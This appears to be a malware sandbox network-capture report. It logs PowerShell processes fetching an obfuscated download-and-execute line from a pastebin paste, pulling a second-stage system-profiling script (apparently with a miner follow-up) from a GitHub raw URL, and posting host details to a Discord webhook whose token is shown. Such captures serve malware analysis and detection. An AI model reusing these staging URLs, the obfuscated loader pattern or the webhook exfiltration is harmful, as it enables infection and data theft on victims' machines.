2024-09-16 06:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	104.20.3.235	443	5852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:17 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 06:22:17 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:22:17 GMT Server: cloudflare CF-RAY: 8c3ec2de6def422e-EWR
2024-09-16 06:22:17 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 06:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49708	104.20.3.235	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:17 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 06:22:17 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:22:17 GMT Server: cloudflare CF-RAY: 8c3ec2de8d4f4238-EWR
2024-09-16 06:22:17 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 06:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	104.20.3.235	443	4524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:17 UTC	169	OUT	GET /raw/sA04Mwk2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: pastebin.com Connection: Keep-Alive
2024-09-16 06:22:17 UTC	391	IN	HTTP/1.1 200 OK Date: Mon, 16 Sep 2024 06:22:17 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: EXPIRED Last-Modified: Mon, 16 Sep 2024 06:22:17 GMT Server: cloudflare CF-RAY: 8c3ec2de9e9a19a1-EWR
2024-09-16 06:22:17 UTC	81	IN	Data Raw: 34 62 0d 0a 63 61 6c 6c 69 54 28 57 49 4e 44 4f 57 53 5f 4e 54 20 28 22 74 69 6e 22 2b 22 79 22 2b 22 75 72 22 2b 22 6c 2e 63 22 2b 22 6f 6d 2f 79 6b 22 2b 22 33 73 38 75 62 70 22 29 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 0d 0a Data Ascii: 4bcalliT(WINDOWS_NT ("tin"+"y"+"ur"+"l.c"+"om/yk"+"3s8ubp") -usebasicparsing)
2024-09-16 06:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	185.199.109.133	443	5852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:18 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:18 UTC	899	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "330a030bd9a7ca980c35f110c9f77bb65bfe219cad990e8517ad3ffab9d81fb3" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4E32:1BE677:9F557C:B1AD1C:66E7CE96 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740022-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726467739.514136,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 049234d80b0f1d71769cab35fce0a8ea7369e48e Expires: Mon, 16 Sep 2024 06:27:18 GMT Source-Age: 0
2024-09-16 06:22:18 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 06:22:18 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	185.199.109.133	443	4524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:18 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:18 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "330a030bd9a7ca980c35f110c9f77bb65bfe219cad990e8517ad3ffab9d81fb3" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4E32:1BE677:9F557C:B1AD1C:66E7CE96 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740034-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467739.514188,VS0,VE8 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 97f1c007375c18e83e051fe49fde3a2e9f9ff892 Expires: Mon, 16 Sep 2024 06:27:18 GMT Source-Age: 0
2024-09-16 06:22:18 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 06:22:18 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49713	185.199.109.133	443	1600	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:18 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:18 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "330a030bd9a7ca980c35f110c9f77bb65bfe219cad990e8517ad3ffab9d81fb3" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4E32:1BE677:9F557C:B1AD1C:66E7CE96 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740076-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467739.514793,VS0,VE7 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 70a4d8a49af265f52233c719f883efd8e598c3e1 Expires: Mon, 16 Sep 2024 06:27:18 GMT Source-Age: 0
2024-09-16 06:22:18 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 06:22:18 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49715	185.199.109.133	443	2668	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:18 UTC	222	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:18 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1442 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "330a030bd9a7ca980c35f110c9f77bb65bfe219cad990e8517ad3ffab9d81fb3" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 4E32:1BE677:9F557C:B1AD1C:66E7CE96 Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:18 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740075-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1726467739.529227,VS0,VE1 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 09c1ee78c5dc73a3bbe2502d8e46f0fe97857da2 Expires: Mon, 16 Sep 2024 06:27:18 GMT Source-Age: 0
2024-09-16 06:22:18 UTC	1378	IN	Data Raw: 73 6c 65 65 70 20 35 0a 0a 0a 23 20 52 65 74 72 69 65 76 65 20 43 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 63 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 50 72 6f 63 65 73 73 6f 72 20 7c 20 53 65 6c 65 63 74 2d 4f 62 6a 65 63 74 20 2d 50 72 6f 70 65 72 74 79 20 4e 61 6d 65 2c 20 4d 61 6e 75 66 61 63 74 75 72 65 72 2c 20 4e 75 6d 62 65 72 4f 66 43 6f 72 65 73 2c 20 4e 75 6d 62 65 72 4f 66 4c 6f 67 69 63 61 6c 50 72 6f 63 65 73 73 6f 72 73 0a 0a 23 20 52 65 74 72 69 65 76 65 20 47 50 55 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 0a 24 67 70 75 20 3d 20 47 65 74 2d 57 6d 69 4f 62 6a 65 63 74 20 2d 43 6c 61 73 73 20 57 69 6e 33 32 5f 56 69 64 65 6f 43 6f 6e 74 72 6f 6c 6c 65 72 20 7c 20 53 65 6c 65 63 74 2d Data Ascii: sleep 5# Retrieve CPU information$cpu = Get-WmiObject -Class Win32_Processor \| Select-Object -Property Name, Manufacturer, NumberOfCores, NumberOfLogicalProcessors# Retrieve GPU information$gpu = Get-WmiObject -Class Win32_VideoController \| Select-
2024-09-16 06:22:18 UTC	64	IN	Data Raw: 33 34 39 35 72 61 79 67 77 69 34 67 79 72 68 75 61 77 65 72 61 77 65 72 61 2f 6d 61 69 6e 2f 67 61 62 65 72 5f 6d 6e 72 2e 74 78 74 20 2d 75 73 65 62 61 73 69 63 70 61 72 73 69 6e 67 29 27 0a Data Ascii: 3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49719	162.159.138.232	443	5852	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:27 UTC	311	OUT	POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 06:22:27 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 4b 58 38 4f 52 52 53 56 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: KX8ORRSV\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 06:22:27 UTC	1354	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 06:22:27 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0bb0af5473f411efb2f15e3304a9e75f; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 3 x-ratelimit-reset: 1726467749 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8z5xf1BD6rm2N2HDLr9ksswG%2FL61vW%2B8jmQgULwo8r7YaXsNevdNal1Baw2tO99WeG%2BZod1HeA279rkQoch8kBmNqo8PTGxvzkgPAQk3sbBKAExoDTx9mo0pE9j0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0bb0af5473f411efb2f15e3304a9e75f6bf2b79adc5bc789cd6446afeb14dd6ddd47620ed356a30410227a5894834e71; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8f38632afa43523814221be2f01260005d17761a-1726467747; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 06:22:27 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 38 33 55 56 52 68 6a 4a 57 57 6d 78 57 53 4e 49 6b 6f 48 62 64 58 66 6f 69 5f 69 5a 44 6e 71 66 63 39 6f 6e 56 35 6f 6a 4d 61 6b 2d 31 37 32 36 34 36 37 37 34 37 37 32 33 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 33 65 63 33 31 65 39 64 64 32 34 32 33 38 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=83UVRhjJWWmxWSNIkoHbdXfoi_iZDnqfc9onV5ojMak-1726467747723-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c3ec31e9dd24238-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49718	162.159.138.232	443	4524	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:27 UTC	311	OUT	POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Content-Type: application/json Host: discord.com Content-Length: 269 Connection: Keep-Alive
2024-09-16 06:22:27 UTC	269	OUT	Data Raw: 7b 0d 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 22 3a 20 20 22 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 5c 6e 2a 2a 61 6c 66 6f 6e 73 2a 2a 20 73 79 73 74 65 6d 20 6f 6e 6c 69 6e 65 5c 6e 5c 6e 2a 2a 47 50 55 3a 2a 2a 20 4b 58 38 4f 52 52 53 56 5c 6e 2a 2a 43 50 55 3a 2a 2a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 5c 6e 2a 2a 43 50 55 20 43 6f 72 65 73 3a 2a 2a 20 34 20 34 5c 6e 2a 2a 4f 53 3a 2a 2a 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 5c 6e 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d Data Ascii: { "content": "================================\nuser system online\n\nGPU: KX8ORRSV\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nCPU Cores: 4 4\nOS: Windows 10 Pro\n======================
2024-09-16 06:22:27 UTC	1356	IN	HTTP/1.1 204 No Content Date: Mon, 16 Sep 2024 06:22:27 GMT Content-Type: text/html; charset=utf-8 Connection: close set-cookie: __dcfduid=0bbaf12673f411ef92dfea10ad7a50ef; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 1 x-ratelimit-reset: 1726467750 x-ratelimit-reset-after: 2 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=13VZ3I9xsMm%2FGXvZT01enPQLepRkktlEfr2uingb5wcP0nLW%2FmAgDWw2Jl2cRVRFT4qQevRLT6v9TyJ6ENAoaGofPhjzdmbHapZCjcV5a3yLTskFr%2FOgB6i%2FArZd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: __sdcfduid=0bbaf12673f411ef92dfea10ad7a50efbb37428faed47d0dc8fdd062661ad60cc6ea35a97a21ff79b56c04f0d7a1d3c1; Expires=Sat, 15-Sep-2029 06:22:27 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax Set-Cookie: __cfruid=8f38632afa43523814221be2f01260005d17761a-1726467747; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
2024-09-16 06:22:27 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 79 53 53 79 48 70 78 79 36 57 66 30 5a 63 68 6f 38 62 6f 6e 6e 35 7a 6a 74 6c 71 78 68 59 77 38 7a 51 4a 4c 5a 6e 73 7a 54 52 45 2d 31 37 32 36 34 36 37 37 34 37 37 39 31 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 63 33 65 63 33 31 65 39 39 30 63 34 33 66 37 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=ySSyHpxy6Wf0Zcho8bonn5zjtlqxhYw8zQJLZnszTRE-1726467747791-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8c3ec31e990c43f7-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49717	162.159.138.232	443	1600	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
